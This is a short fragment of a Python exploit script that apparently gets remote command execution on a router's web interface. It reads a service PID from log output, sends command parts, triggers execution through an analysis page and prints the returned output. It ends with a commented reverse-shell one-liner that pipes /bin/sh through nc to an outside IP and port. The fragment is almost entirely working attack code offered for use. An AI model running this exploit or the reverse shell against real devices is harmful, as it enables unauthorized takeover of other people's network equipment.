p = re.compile(r"rc_service:\s(\w+)\s(\d+):notify_rc !!test!!")
last_match = list(p.finditer(r.text))[-1]
is_httpds = last_match.group(1) == 'httpds'
pid_len = len(last_match.group(2))
print("Sending command parts")
execute(host, session, args.cmd, is_httpds, pid_len)
print("Exploit armed!")
session.get(f"{host}/Main_Analysis_Content.asp")
print("Exploit nuked.")
print("=================\nOutput:\n")
r = session.get(f"{host}/cmdRet_check.htm")
out = r.text
if out[:3].encode() == b"\xc3\xaf\xc2\xbb\xc2\xbf":
print(out[3:])
# rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.42.102.133 7777 > /tmp/f